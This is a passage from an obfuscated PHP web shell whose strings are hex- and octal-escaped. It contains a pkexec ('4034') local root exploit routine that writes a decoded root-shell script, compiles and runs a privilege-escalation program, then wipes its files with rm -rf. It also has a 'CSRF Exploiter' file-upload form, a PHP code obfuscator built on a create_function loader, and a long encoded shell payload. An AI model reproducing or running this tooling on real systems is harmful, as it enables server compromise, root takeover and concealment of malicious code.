\165\144\x43\150\172\x64\x48\x49\x6f\x63\103\65\152\142\62\61\x74\x64\x57\65\x70\131\x32\106\60\132\123\x68\x6a\142\127\122\172\x4b\126\163\x77\x58\x53\x6b\x70"; $fp = fopen("\x6d\x61\x52\x69\120\x59", "\167"); fwrite($fp, b64dd($rootshell)); fclose($fp); return True; } $pkexec = exe("\160\153\145\x78\145\143\x20\55\55\166\x65\x72\x73\151\x6f\x6e") ? "\x3c\x66\157\x6e\x74\x20\x63\x6f\154\157\x72\75\x67\162\145\145\156\x3e\117\x4e\x3c\57\x66\157\x6e\x74\76" : "\74\146\x6f\x6e\164\x20\x63\157\154\157\162\x3d\162\x65\x64\x3e\x4f\106\106\74\57\x66\x6f\x6e\164\76"; $kernel = php_uname(); echo "\74\x62\162\76\x3c\142\162\x3e\x3c\143\x65\156\164\x65\162\x3e\74\150\x32\x3e\x58\40\162\x30\x30\x74\x20\x34\60\x33\64\x20\145\x78\x70\114\157\x3c\x2f\150\62\76\x3c\x62\x72\76"; echo "\123\x59\123\x54\x45\115\x3a\x20{$kernel}\74\142\x72\x3e"; echo "\x55\x49\104\x2f\107\x49\x44\x3a\40{$user}\x20\50\40{$uid}\x20\x29\40\174\x20{$group}\x20\x28\40{$gid}\40\51\x3c\142\162\x3e"; echo "\x53\x68\145\154\x6c\40\x43\157\x6d\155\141\156\144\x3a\x20{$check_system}\40\174\x20\x47\x43\x43\x3a\40{$gcc}\x20\x7c\40\x50\131\124\x48\x4f\x4e\x3a\40{$python}\40\174\x20\x50\x4b\x45\130\105\103\72\40{$pkexec}\x3c\57\142\162\x3e\74\x2f\142\162\x3e"; if (file_exists("\x2f\x75\163\162\57\x62\x69\x6e\57\160\x6b\145\x78\145\143")) { $pkex = GetFilePerm("\57\x75\163\x72\57\x62\151\156\x2f\160\x6b\145\x78\x65\x63"); echo "\120\x4b\x45\x58\105\103\x20\x50\x45\x52\x4d\72\40" . $pkex; echo "\x3c\142\x72\76\74\x62\162\x3e\x50\x61\163\x74\x69\x6b\141\x6e\40\142\x69\163\141\x20\163\x68\x65\154\x6c\40\143\x6f\x6d\x6d\141\x6e\144\54\x20\147\143\143\54\40\160\x79\164\150\x6f\x6e\54\x20\160\x6b\x65\170\x65\143\x20\163\145\155\x75\x61\40\x4f\x4e\x20\x28\111\x4a\x4f\x29\41\x3c\x62\x72\76"; echo "\x3c\x62\162\76\74\142\162\x3e\74\146\157\162\155\x20\x6d\145\164\x68\x6f\x64\x3d\x27\x50\x4f\123\x54\47\x20\141\x63\164\151\x6f\x6e\75\47\x27\x3e\x3c\151\x6e\x70\165\x74\40\x74\171\x70\145\x3d\x27\163\165\142\x6d\x69\164\47\x20\143\x6c\141\x73\x73\75\47\x62\x74\156\x20\x62\x74\156\x2d\x64\x61\x6e\147\x65\x72\40\x62\x74\x6e\55\154\x67\47\x20\156\x61\155\145\x3d\47\x72\60\x30\164\x78\x27\40\166\x61\x6c\165\x65\x3d\x27\x48\101\112\x41\122\x20\x4d\x41\x53\x5a\x45\x45\110\x21\47\76\74\57\151\x6e\160\165\x74\76\x3c\x2f\x66\157\x72\x6d\x3e\74\57\x63\145\156\164\145\162\76"; } else { echo "\74\x62\x72\x3e\74\142\162\76\x3c\x69\156\x70\x75\x74\x20\164\x79\160\x65\x3d\47\x73\165\x62\155\151\x74\x27\x20\143\x6c\x61\x73\163\75\47\x62\164\x6e\40\x62\164\156\x2d\144\141\x6e\147\x65\x72\x20\x62\x74\156\x2d\154\147\x27\x20\156\x61\155\x65\x3d\47\162\x30\60\x74\x78\x27\x20\x76\x61\154\165\145\x3d\x27\x48\101\112\x41\122\x20\x4d\101\x53\x5a\105\105\x48\41\47\x3e\x3c\57\151\x6e\x70\x75\x74\x3e\x3c\x2f\x63\145\x6e\x74\145\162\x3e"; } if (isset($_POST["\x72\x30\x30\x74\170"])) { $spawn_rootc = mari_rootc(); if ($spawn_rootc) { if (file_exists("\x70\162\x76\x65\x73\x63\x2e\143")) { $gass = exe("\147\x63\143\40\160\162\166\x65\163\x63\56\143\x20\55\157\x20\160\x72\x76\145\163\143\x3b\x20\143\x68\x6d\157\x64\x20\53\170\40\x70\162\166\145\x73\143\73\40\56\57\160\x72\x76\x65\x73\143"); if (file_exists("\x6d\x61\x52\151")) { $makefile_rootshellpy = r00t_py(); echo "\74\x62\x72\76\x3c\143\x65\156\164\x65\162\x3e\74\x68\x32\76\167\x30\x30\x74\x2c\40\x69\x74\163\x20\162\x30\x30\x74\41\40\76\72\x29\x3c\57\150\62\76\x3c\x2f\143\145\156\x74\x65\162\x3e"; $ret_val = exec("\x70\171\164\150\157\x6e\x20\155\141\x52\151\x50\x59\x20\x22\151\x64\x3b\165\156\141\x6d\x65\x20\55\x61\42\x20\62\x3e\46\61", $output); echo "\74\x74\x65\170\x74\141\x72\x65\x61\x20\162\145\141\x64\x6f\x6e\x6c\171\x3e"; print_r($output); echo "\x3c\57\x74\x65\x78\164\x61\x72\x65\x61\x3e"; } else { print "\x3c\x62\162\x3e\x3c\143\x65\156\x74\145\x72\76\x3c\150\62\x3e\x43\141\156\x27\164\x20\x72\157\x6f\x74\x20\164\x68\151\x73\40\x73\x65\x72\166\x65\x72\x21\74\x2f\150\62\x3e"; $files = array("\x6d\141\x52\151", "\x6d\x61\x52\151\120\x59", "\x70\x72\x76\145\163\x63", "\x70\x72\x76\145\163\143\x2e\143", "\147\x65\x74\162\x6f\x6f\x74\56\143"); foreach ($files as $file) { if (file_exists($file)) { if (@unlink($file)) { echo "\x54\x68\x65\x20\146\151\154\145\x20\74\163\164\162\157\156\x67\x3e\74\x73\160\x61\156\40\163\x74\x79\x6c\x65\75\42\x63\x6f\x6c\157\x72\72\x67\162\x65\x65\x6e\73\x22\76" . $file . "\x3c\57\x73\x70\141\x6e\x3e\x3c\x2f\163\x74\162\157\x6e\x67\x3e\40\167\141\163\x20\144\x65\154\145\x74\145\x64\x21\74\142\162\x20\57\76"; } else { echo "\x43\x6f\165\154\144\156\47\164\x20\144\145\154\145\164\x65\40\164\x68\145\40\x66\x69\x6c\145\40\x3c\x73\164\x72\x6f\156\147\76\74\x73\x70\141\x6e\x20\163\164\171\154\x65\75\x22\143\x6f\x6c\x6f\x72\x3a\162\145\144\x3b\x22\x3e" . $file . "\x3c\57\163\160\x61\156\x3e\74\57\x73\x74\x72\x6f\x6e\147\76\41\x3c\142\x72\x20\57\x3e"; } } } exe("\162\155\40\x2d\x72\146\x20\160\x77\x6e\x6b\x69\164"); exe("\162\155\x20\55\162\x66\x20\x22\107\x43\x4f\116\126\x5f\x50\x41\124\x48\x3d\x2e\42"); clearstatcache(); echo "\74\x2f\x63\x65\x6e\164\x65\x72\x3e"; } } else { print "\x3c\x62\x72\x3e\74\143\145\x6e\164\x65\x72\76\74\150\x32\x3e\x43\141\x6e\x27\164\40\167\x72\151\x74\x65\40\146\x69\x6c\x65\x21\x3c\x2f\150\x32\76\x3c\57\143\145\x6e\164\x65\x72\x3e"; } } } } elseif (isset($_GET[hex("\143\163\162\146")])) { echo "\xa\74\150\x72\x3e\74\142\x72\76\74\143\145\x6e\164\145\162\x3e\x3c\x68\x32\40\x73\x74\x79\x6c\145\75\42\x66\x6f\x6e\x74\55\163\x69\x7a\x65\x3a\x33\63\160\x78\x3b\x22\76\x43\123\x52\106\40\x45\x78\x70\x6c\157\x69\164\x65\162\40\131\x3c\x2f\x68\x32\x3e\x3c\142\162\x3e\x3c\142\162\76\12\x3c\146\x6f\156\x74\x20\x73\x69\172\145\x3d\42\63\42\x3e\52\116\157\164\145\40\72\40\x50\x6f\163\164\40\x46\x69\154\145\54\x20\x54\x79\160\145\x20\x3a\40\106\x69\154\x65\x64\x61\x74\141\x20\x2f\x20\144\x7a\x75\160\x6c\x6f\141\144\x20\57\x20\144\172\x66\151\154\x65\40\57\x20\x64\172\x66\151\154\x65\163\40\x2f\x20\x66\x69\154\145\40\57\x20\141\152\x61\170\x66\165\160\x20\x2f\40\146\x69\x6c\145\x73\x5b\135\40\57\40\x71\161\x66\151\x6c\x65\x20\x2f\40\x75\x73\x65\162\x66\x69\x6c\x65\x20\57\40\145\x74\143\74\57\x66\157\156\x74\76\12\74\142\x72\x3e\74\x62\162\76\12\74\146\157\x72\x6d\40\155\145\x74\150\157\144\75\42\120\117\123\124\42\40\x73\164\x79\x6c\145\75\42\x66\157\x6e\164\x2d\163\151\x7a\x65\72\62\x35\x70\x78\73\x22\x20\141\x63\x74\x69\x6f\x6e\75\40\x22\42\x3e\12\x55\x52\114\72\x20\74\x69\156\160\165\164\x20\164\171\x70\145\75\42\x74\x65\x78\x74\x22\x20\x6e\141\155\x65\75\42\x75\162\x6c\42\x20\163\151\172\145\x3d\x22\x35\60\42\x20\x68\145\151\147\x68\x74\75\42\61\60\x22\x20\x70\x6c\141\x63\145\150\157\154\x64\x65\x72\75\42\150\x74\164\x70\x3a\57\x2f\x77\x77\167\56\164\141\x72\147\x65\164\56\x63\x6f\155\x2f\160\141\x74\x68\57\x75\160\x6c\x6f\141\144\x2e\x70\150\x70\42\40\163\x74\x79\x6c\x65\75\x22\155\x61\x72\x67\x69\156\x3a\40\x35\160\x78\40\141\165\x74\157\x3b\40\160\141\144\x64\x69\156\x67\x2d\x6c\x65\146\164\x3a\40\65\x70\170\73\40\167\x69\144\x74\150\x3a\x34\65\60\x70\170\x3b\x22\x20\x63\154\x61\163\x73\40\75\x20\x22\x66\x6f\x72\x6d\x2d\143\157\x6e\x74\x72\x6f\154\x22\40\162\x65\161\165\151\162\145\144\40\141\x75\x74\157\143\x6f\155\x70\154\145\164\145\40\x3d\40\x22\157\x66\146\42\x3e\74\142\x72\76\xa\x50\117\123\124\40\x46\151\x6c\x65\x3a\x20\x3c\x69\156\x70\165\x74\x20\164\x79\x70\x65\x3d\42\x74\x65\170\x74\x22\40\156\141\x6d\145\75\x22\160\146\42\x20\163\x69\x7a\145\x3d\x22\65\60\42\x20\150\145\x69\x67\x68\164\x3d\42\x31\60\42\40\160\154\141\143\145\150\x6f\154\144\x65\162\x3d\42\x4c\x69\x68\x61\x74\40\144\151\141\164\141\x73\x20\136\x22\x20\163\x74\171\154\x65\x3d\x22\155\x61\x72\147\151\x6e\x3a\x20\65\x70\x78\40\x61\165\164\157\x3b\x20\160\141\144\144\x69\156\x67\x2d\154\145\x66\x74\72\x20\65\160\x78\x3b\40\167\x69\x64\164\x68\72\x32\65\x30\160\x78\x3b\x22\40\x72\145\161\165\x69\x72\x65\x64\x20\143\154\x61\x73\x73\40\x3d\40\x22\x66\x6f\x72\155\55\143\x6f\156\164\x72\157\154\42\40\141\x75\164\x6f\143\157\x6d\x70\154\145\x74\145\x20\75\x20\42\x6f\x66\x66\x22\x3e\74\x62\x72\x3e\xa\74\151\156\160\165\x74\40\x73\x74\171\x6c\x65\x3d\42\167\151\144\164\150\x3a\63\65\x30\160\170\x3b\42\40\x74\x79\x70\145\x3d\42\x73\165\142\155\151\164\42\40\x6e\x61\x6d\x65\x3d\42\x64\42\x20\x76\x61\154\x75\x65\x3d\x22\x4c\157\143\x6b\41\42\x20\x63\x6c\141\163\163\40\x3d\40\x22\146\157\162\x6d\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\42\x3e\12\x3c\x2f\146\x6f\x72\155\76\x3c\150\x72\x3e\74\x62\162\x3e"; $url = $_POST["\x75\x72\154"]; $pf = $_POST["\160\146"]; $d = $_POST["\x64"]; if ($d) { echo "\xa\x9\74\x68\x32\76\125\x70\x6c\157\x61\144\x20\x59\157\x75\x72\x20\x46\151\x6c\145\163\74\57\150\x32\76\xa\11\x3c\x66\x6f\x72\x6d\40\x6d\x65\x74\150\157\x64\75\x27\160\x6f\163\x74\47\40\x74\141\162\147\145\164\x3d\47\137\x62\x6c\141\x6e\x6b\x27\x20\141\x63\x74\x69\x6f\x6e\x3d\x27{$url}\47\x20\145\x6e\x63\x74\171\160\x65\x3d\x27\155\165\154\164\151\x70\x61\x72\x74\x2f\146\x6f\162\155\x2d\x64\141\x74\141\47\76\x3c\x69\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\47\146\151\154\145\47\x20\156\x61\x6d\x65\75\x27{$pf}\x27\x3e\74\151\x6e\x70\x75\164\40\164\171\160\x65\75\47\163\165\142\x6d\x69\x74\47\x20\156\141\155\x65\x3d\x27\x67\x27\x20\166\x61\x6c\165\x65\75\x27\x55\160\154\x6f\x61\144\47\76\74\x2f\x66\x6f\x72\x6d\x3e"; } } elseif (isset($_GET[hex("\x61\x75\x74\157\137\164\x6f\x6f\154\163")])) { AutomenU($d); } elseif (isset($_GET[hex("\x45\x4e\103")])) { AutomenU($d); function maricode($string) { $result = ''; for ($index = 0; $index < strlen($string); $index += 1) { $result .= chr(ord($string[$index]) + 1); } return $result; } echo "\11\74\x62\162\x3e\74\142\x72\76\xa\x9\11\11\11\74\150\62\x3e\x20\130\40\105\156\143\162\171\160\x74\x69\157\156\x20\74\57\x68\x32\x3e\12\x9\11\11\x9\x3c\x66\x6f\162\x6d\x20\141\143\164\x69\x6f\x6e\x3d\x22\42\x20\155\x65\x74\150\157\144\75\42\x70\x6f\163\x74\x22\x3e\12\11\11\x9\11\x9\x3c\164\x65\x78\164\x61\x72\145\141\40\143\x6c\x61\163\x73\75\40\x22\x66\x6f\162\x6d\x2d\x63\x6f\156\x74\x72\x6f\x6c\40\x72\x6f\165\156\x64\x65\144\55\60\x22\40\x73\x74\x79\154\145\x3d\42\x6d\151\156\55\167\151\144\164\150\72\40\71\66\x25\x3b\x20\150\x65\151\x67\150\x74\x3a\x20\x32\60\x30\x70\x78\73\x22\x20\156\x61\155\145\75\42\x65\x6e\x63\x72\171\160\x74\42\76\74\x2f\x74\x65\170\x74\141\162\145\141\x3e\x3c\x62\x72\x3e\xa\11\x9\x9\x9\11\x3c\x69\156\x70\165\164\x20\143\154\x61\x73\163\x20\x3d\x20\x22\x66\157\x72\155\55\x63\x6f\156\164\162\x6f\154\40\162\x6f\x75\x6e\144\x65\144\55\x30\42\40\164\171\160\x65\75\42\163\x75\142\155\151\164\x22\40\156\x61\x6d\145\x3d\42\143\162\171\160\164\42\40\x73\x74\x79\154\x65\x3d\x22\x77\x69\x64\x74\150\x3a\x20\62\x35\x30\160\170\x3b\155\x61\162\147\151\x6e\x3a\40\60\40\141\165\x74\157\73\x20\x22\40\x76\141\x6c\165\x65\75\42\103\x72\x79\160\x74\40\151\164\41\42\x3e\xa\x9\11\x9\11\x3c\57\146\157\162\155\76\74\142\x72\x3e\xa\12\x9\x9\x9\11"; if (isset($_POST["\143\162\x79\x70\164"]) && isset($_POST["\145\x6e\143\162\171\x70\164"])) { $isi = $_POST["\x65\x6e\143\162\171\160\x74"]; $isi2 = maricode($isi); $isi3 = b64ed($isi2); $isifinal = "\146\165\x6e\143\x74\151\157\x6e\40\155\141\x72\x69\x6e\157\143\x6f\144\x65\x28\44\x6d\141\162\x69\163\x74\162\x69\156\x67\51\x20\173\x20\x24\x6d\x61\x72\151\162\145\163\x75\x6c\x74\x20\75\x20\x27\x27\x3b\40\x66\x6f\162\40\x28\44\x6d\141\162\x69\x6e\x64\x65\x78\x20\75\x20\x30\x3b\x24\x6d\x61\162\151\x6e\x64\x65\170\40\74\x20\163\x74\x72\154\145\156\50\x24\x6d\x61\162\151\x73\x74\x72\x69\x6e\147\x29\73\44\155\141\x72\151\156\144\x65\x78\40\53\x3d\x20\61\51\40\x24\x6d\x61\x72\151\x72\x65\x73\x75\x6c\x74\40\56\75\x20\143\x68\162\50\157\162\x64\x28\44\x6d\141\x72\x69\x73\164\x72\151\156\147\133\x24\155\x61\162\x69\156\144\145\x78\135\x29\40\x2d\x20\61\51\x3b\40\162\x65\164\165\x72\156\x20\44\155\141\x72\151\x72\x65\163\165\154\164\73\x20\x7d\40\x24\x6d\141\x72\151\143\x6f\144\x65\x6f\x6b\x20\75\40\155\x61\162\x69\156\157\x63\x6f\x64\x65\x28\142\141\x73\x65\x36\64\137\144\x65\x63\x6f\x64\145\x28\47" . $isi3 . "\x27\51\51\x3b\x20\x63\141\x6c\154\x5f\x75\x73\145\x72\137\x66\165\x6e\x63\x28\x63\162\145\x61\164\x65\137\146\165\156\x63\164\151\157\156\50\47\47\54\40\x24\155\141\162\151\x63\157\x64\145\157\x6b\51\x29\73"; echo "\xa\xa"; echo "\74\x64\151\x76\x20\x63\154\141\x73\163\75\47\146\157\162\155\x2d\147\162\157\x75\x70\x27\76\xa\40\40\74\x63\145\156\164\145\x72\76\74\x6c\x61\x62\145\154\40\146\157\162\x3d\47\145\x78\x61\155\x70\x6c\x65\106\157\x72\155\x43\157\x6e\x74\x72\x6f\154\x54\x65\x78\x74\x61\x72\145\x61\61\47\76\x48\x61\x73\x69\154\40\x45\x6e\143\x72\x79\x70\164\x20\x50\x48\120\x20\74\40\67\56\x32\40\117\x6e\154\171\x3c\57\154\141\142\x65\154\x3e\x3c\x2f\143\145\x6e\164\145\162\x3e\12\x20\x20\x3c\x74\145\170\x74\x61\162\x65\141\x20\143\154\x61\163\x73\75\47\x66\157\162\155\55\x63\157\x6e\x74\162\x6f\x6c\40\162\157\x75\x6e\144\x65\144\55\60\47\x20\162\x6f\167\x73\x3d\x27\61\60\47\x3e" . $isifinal . "\74\57\x74\145\170\164\141\162\x65\x61\x3e\74\x2f\144\151\166\76"; } } elseif (isset($_GET[hex("\162\x30\60\x74")])) { $bash3ll = "\170\x52\162\142\x63\161\120\111\71\124\156\53\151\x67\67\145\x4d\x6d\x67\164\157\x5a\156\x4e\126\150\66\163\x69\x32\164\x47\x39\x71\65\x6e\x34\x39\x6d\132\127\110\x4b\123\x4b\164\164\x4a\131\x57\x68\x4a\162\x46\106\104\157\114\106\107\116\141\x4e\x55\x76\x69\x59\146\154\151\57\x4a\66\121\163\x49\x55\x44\143\147\x54\62\160\130\104\x35\141\147\124\x35\x39\67\156\x31\164\67\x6d\x4c\x69\170\110\71\x48\170\x45\x53\x70\70\x6e\x70\60\x59\x54\146\65\66\147\x55\141\x49\x70\x45\105\167\x32\106\x74\172\167\71\x58\x4b\x49\144\66\126\156\71\x41\x77\63\147\104\131\63\143\115\x2b\x30\106\113\163\146\x67\x77\124\156\57\157\x68\x41\x61\150\130\53\60\x42\x34\x75\x73\x52\102\115\x46\154\65\x37\x30\151\125\125\151\x31\x42\x43\x52\131\x53\x69\163\x6b\117\161\147\121\62\x54\64\156\x4c\66\x66\x7a\x44\112\167\x6d\117\x36\125\x54\167\x61\105\154\145\x4f\x2b\150\x7a\x43\x5a\x78\71\x53\x6c\x68\x74\156\170\x41\143\x58\70\63\145\x58\66\120\124\x45\x54\x4c\165\x79\124\60\x78\102\157\144\x73\115\x59\x64\x4a\65\102\104\153\x70\104\121\105\155\154\107\x41\113\x52\x37\144\107\x2b\106\70\146\x6d\x38\147\x35\x41\x5a\117\x6b\163\102\x6a\167\162\142\x33\x6f\150\x67\x41\66\114\60\170\116\x74\x45\160\127\x6d\104\x79\x6b\x54\71\x62\157\x50\111\x4f\166\x44\x43\x48\146\131\132\160\x6a\x4d\x79\104\x36\x4f\x50\105\144\123\112\x38\x52\126\144\102\x4c\166\x50\147\x51\112\x45\x62\102\x51\132\156\103\131\x4e\147\106\x6b\132\147\x41\x39\130\113\x46\146\x59\x58\123\61\162\x47\163\161\x32\x33\x30\65\x52\66\131\x55\x71\x74\x68\110\70\x64\x61\113\127\103\171\110\114\57\x72\x79\x71\101\x68\53\143\x34\164\x6c\x77\156\x43\x42\64\x64\x39\60\x6e\106\x65\64\114\160\x7a\106\x39\x68\x4a\155\101\107\x31\153\127\166\x4f\x75\63\x77\172\x37\106\x44\60\61\150\167\x57\x58\124\152\120\123\157\141\152\71\x2f\130\150\124\71\110\126\x76\57\166\71\x38\155\63\141\122\x53\105\x6a\x6e\x65\146\x6e\x4e\67\x42\x30\x38\115\160\166\x50\x6d\x6d\142\61\x4f\x63\x30\110\x79\x7a\123\x68\x72\x4f\156\x57\104\x71\154\x69\120\x49\157\117\62\x56\x51\x39\x31\154\x42\142\x55\x6c\143\x48\143\64\70\x73\x37\144\66\167\x63\106\121\x31\165\105\147\x77\x54\166\x2b\x48\111\x44\67\115\121\x48\x63\x4e\x50\x76\x6f\x37\145\147\x55\x30\167\70\170\x45\70\127\155\x6c\x33\145\166\x45\145\x59\120\120\164\170\x53\106\131\x73\x56\153\104\x30\x38\x4a\x33\110\x41\x43\x4d\123\125\155\131\x4f\x47\60\60\x59\152\x53\x79\x45\x5a\126\105\x4b\172\x65\x45\111\x6f\x74\164\x33\x36\x42\107\151\x30\x42\120\x47\x45\x66\x49\x4a\x2f\x4a\66\x44\x67\132\x57\105\144\125\64\112\x59\x63\104\125\151\x71\155\x57\x59\x65\x55\x38\x34\122\166\x38\x7a\x35\124\112\x61\65\x78\x4c\x2f\131\x36\x34\117\x45\x59\x58\x66\130\x5a\130\x33\154\156\107\142\122\x65\x35\x61\x33\x69\103\x4f\114\x48\x74\67\x76\172\x45\x69\x6e\105\123\150\145\101\103\117\151\x31\154\160\x73\57\x67\67\x4b\x57\124\x66\x46\x69\x7a\161\x42\117\102\x32\x32\167\x73\x63\x2b\x34\110\x32\117\x7a\125\142\x53\53\x59\57\x69\112\x63\105\x32\67\x38\110\x42\61\x78\126\162\x69\114\70\153\145\107\162\141\x50\x46\x56\x4b\165\114\151\153\146\x4c\62\112\x42\x6a\106\x6f\x66\143\x2f\151\130\x30\151\143\x58\103\126\x55\x66\150\125\x73\x56\x50\107\x6e\153\117\x78\132\116\x31\147\x56\x64\x51\131\x4d\x32\x6d\x72\130\x4a\x6c\161\x2f\114\143\x51\x34\x37\167\154\x55\x2b\x6f\x70\x56\111\166\x73\60\157\65\102\144\162\120\124\160\102\x69\155\x38\142\53\171\x75\162\131\101\123\x59\x4c\x75\x6b\x53\152\105\x53\x54\x50\x44\x6d\147\131\153\112\x45\102\144\57\165\x35\152\x77\x4d\x50\x2b\121\156\103\x6b\104\153\x32\x71\x44\144\x6d\x44\162\x37\60\171\121\114\122\105\x47\130\65\132\x7a\71\125\67\x49\x4a\x58\x4c\x46\170\x75\x49\x73\x4f\x53\x42\x5a\x70\x79\144\102\x37\101\62\107\x54\x72\x33\114\122\x4a\170\164\x56\x77\150\x46\x36\x58\155\123\111\65\x61\123\x42\170\x64\x41\101\x71\x4a\x75\x42\63\x54\x65\x35\114\x4e\x78\110\155\153\103\x61\143\x43\142\120\112\x57\61\x56\161\150\x65\117\x35\157\x33\x33\x33\x36\x6d\110\167\144\x56\67\x4b\x53\x36\105\60\152\x69\105\105\57\105\127\x69\126\x31\105\144\166\111\x54\120\x49\x6c\x34\67\170\154\x48\147\x75\x4e\152\x71\x69\x35\152\x36\x62\145\x65\142\146\162\x63\163\171\x65\x45\x2b\63\123\x52\x67\112\x61\155\157\x32\113\167\x68\x57\x6a\67\x41\102\131\115\x33\x6e\164\x32\x74\64\x71\x67\x64\61\127\147\x65\127\x4e\114\x6f\63\125\x36\x69\x77\x49\145\131\151\147\x77\x46\x4b\x59\132\102\117\102\123\x79\144\x70\151\x4b\x2f\x67\x69\x2b\146\x59\x34\115\x63\104\125\104\156\x53\107\x44\x63\x57\x2b\x6f\60\x62\103\x6c\x6e\171\x45\x45\115\x6c\123\x35\152\x2f\113\x4e\104\115\x4d\117\117\132\147\112\115\102\127\145\x39\x2b\x6e\62\x30\117\165\110\167\142\66\64\x78\x52\x53\x68\x56\116\157\x75\x62\x30\101\111\x6f\x45\132\x58\103\141\123\63\x4e\x5a\x4f\x41\102\x66\x47\172\x58\112\141\x75\106\152\142\114\x51\110\x6f\x49\160\157\115\172\x2f\x6c\x64\x74\x59\120\130\117\141\153\104\x61\x41\53\160\x55\x46\x4e\115\121\x63\x2f\115\60\112\142\111\124\x54\60\x6f\x4b\106\x66\104\x75\111\163\101\162\x30\126\x64\x34\157\132\165\171\x6e\67\131\x62\101\x78\132\70\113\122\131\163\60\x7a\106\x56\154\x61\x56\131\164\141\x47\161\x65\105\115\150\x59\x45\x50\x70\147\x43\61\x7a\x47\x65\117\65\x32\125\x55\155\70\x2f\153\172\x4a\x77\111\x58\x64\x42\x33\107\x56\x7a\x39\60\113\x61\x61\x39\x68\x41\114\155\61\145\104\x52\123\x66\x41\x66\166\53\53\171\x2b\x70\71\x7a\x31\150\141\x37\112\66\125\x43\x43\153\x79\165\165\156\61\x30\x45\x32\x44\x62\70\53\x45\x51\117\x4b\170\106\115\60\x6c\111\163\113\111\62\x79\125\126\x2b\x44\x4c\62\116\104\x51\x78\104\115\x54\126\x5a\53\x67\x45\x63\145\131\x47\160\150\157\x59\x4c\167\x6a\61\132\156\123\141\153\115\126\66\x46\x7a\x37\x67\112\x61\124\154\153\x6d\102\146\x41\162\155\60\145\126\x69\162\x4c\161\152\x52\x79\x36\x50\x4c\154\x74\x76\132\x5a\102\x47\x6c\166\142\x2b\x62\x6e\x7a\x4e\x36\151\150\166\160\x74\67\145\x46\x34\x33\165\x55\172\x2f\114\151\x47\157\150\132\104\123\x57\x71\132\67\x74\x49\x68\x43\x38\142\x66\162\154\x72\125\112\x55\x36\155\x48\144\x61\x59\x2b\x67\155\114\132\x41\164\x4d\x33\63\111\146\172\x63\147\62\160\x52\161\65\61\x61\x5a\x4c\x54\113\x77\x64\116\x64\62\65\x55\x34\125\x32\x4d\x34\71\151\x6f\157\153\101\x74\x6a\70\172\127\65\64\x68\x39\x6c\145\x63\131\122\x47\x69\166\x71\x49\x51\x2f\153\63\114\x53\x31\x33\117\x61\62\x4d\146\x78\122\154\65\121\x31\x42\x4b\x6e\147\152\x45\102\101\x52\110\105\x59\172\x55\123\63\167\120\x49\170\172\110\x59\131\170\103\x6c\53\x63\x58\172\x7a\132\61\126\x46\126\x6c\x37\x61\71\x78\62\156\x57\156\145\x4f\144\172\x77\x73\x59\x68\165\x51\x59\166\155\116\124\x30\x31\x36\114\64\122\x41\x53\x76\60\x55\146\x68\146\67\156\x72\115\132\x75\x45\x77\124\116\x76\124\110\x37\x42\x4c\161\x31\x7a\145\167\x67\x41\110\x6f\67\132\130\x41\153\x51\x2f\121\x43\60\142\x2f\x67\x4c\123\x36\115\64\101\x57\66\110\x50\102\x4c\x44\162\160\167\x6b\x30\x45\103\x53\162\x43\127\102\64\104\x45\116\x61\116\131\147\x79\67\x42\x76\x32\141\171\105\105\x7a\60\170\x32\x6a\x59\x51\x45\x64\131\x63\x53\x54\106\161\147\144\156\130\x6d\x2b\121\103\x4d\163\57\164\x7a\142\127\154\123\x53\172\142\61\164\x62\x49\65\x6c\114\x4d\161\122\130\141\x67\71\145\x73\125\111\x57\57\130\67\64\x67\x34\61\53\141\66\x69\150\132\x68\154\x42\x46\x5a\x71\x44\161\155\x51\x51\x73\x5a\115\126\141\x33\70\151\67\156\x6a\x48\66\121\65\x33\122\53\101\141\113\x76\122\170\63\101\131\x56\x61\123\x77\x56\127\152\x50\x2f\x2b\53\172\71\71\x41\67\x4a\x76\x41\x63\x74\144\64\x62\146\x6b\x6f\146\146\x64\101\x38\x41\131\x62\123\x42\146\120\x7a\121\61\x69\x51\127\x48\x4e\x61\x5a\x51\105\65\x41\x66\146\x33\x53\x4f\170\144\x43\121\53\152\x52\147\x30\60\x4a\107\x68\x79\x6b\x55\x61\x4e\64\x62\131\60\64\x31\x34\170\154\x65\171\142\156\x67\x73\x64\110\117\147\x4c\166\167\x70\x44\x47\x67\x56\114\61\x4f\x79\x57\x49\x43\162\x44\121\x61\152\x30\x55\x43\166\57\x51\122\67\x56\110\150\63\127\105\x4c\172\x61\x6a\x48\111\116\x48\x61\x59\60\117\121\x51\157\102\163\104\x50\x4b\103\x37\127\112\105\x66\x69\x48\57\x32\67\131\126\132\62\x6b\115\107\125\x4d\x50\x58\150\x4f\x71\x42\111\x43\123\x6f\126\62\142\144\x39\112\x66\x64\x4a\106\170\64\x71\x79\x69\147\144\106\160\x67\102\60\x4b\62\111\x41\62\147\x34\64\106\66\111\113\102\164\x68\x78\x78\x6c\x6e\x57\x6b\x71\66\154\64\70\x79\x57\x41\151\157\x55\x56\170\110\x4e\x5a\x56\x62\x33\x64\x76\x50\117\163\x30\x76\104\142\x30\x49\65\161\x42\132\x37\123\124\113\x30\x38\111\x6d\57\112\145\x6b\151\171\156\166\x42\x50\145\115\x4f\66\101\121\x75\x7a\x32\x6b\x67\x35\x70\154\x33\x37\105\x4a\66\122\x41\114\x43\x66\x38\x45\x62\156\127\171\x37\x45\142\62\x52\x63\x45\157\x70\x6a\64\x2b\x79\157\131\126\101\x6d\102\x72\143\x48\116\163\64\x69\x77\143\71\x43\x65\x62\x64\x79\66\x48\x62\x4e\x4e\115\x45\167\71\x46\x73\x65\x49\127\x73\70\x44\x57\x72\105\146\121\115\x4a\x61\x48\60\142\x31\x51\152\115\x41\153\156\61\165\155\x66\115\x4a\154\x62\61\132\x56\x68\154\x53\x36\71\x33\60\x4b\x54\153\115\x55\151\x31\x47\142\x70\160\165\x46\113\x36\166\x37\x71\162\x38\x50\x46\x51\x6a\61\117\117\x2f\131\x74\112\166\170\132\x65\167\x63\143\x63\124\153\152\x53\x78\x50\x76\62\x34\x4a\154\x4f\145\62\165\x79\x34\63\103\157\120\141\164\x71\153\64\x6d\x76\123\146\167\141\x68\x75\157\x6c\161\x54\102\167\145\152\157\x34\x69\x46\70\62\x68\110\153\x52\167\171\70\64\x51\161\x32\155\150\126\57\166\x76\x71\63\143\65\166\x2f\x74\70\x69\71\x33\x4e\130\x50\x6d\120\x4a\x70\x36\x4a\x78\x50\102\116\157\x72\x35\x39\167\x57\145\117\x31\x41\156\x31\167\x6c\130\x6d\x71\x55\x66\x48\x4d\67\141\172\x65\165\162\60\144\144\x64\x71\123\x76\x66\x73\154\x39\x46\x61\x62\114\x6b\157\120\x7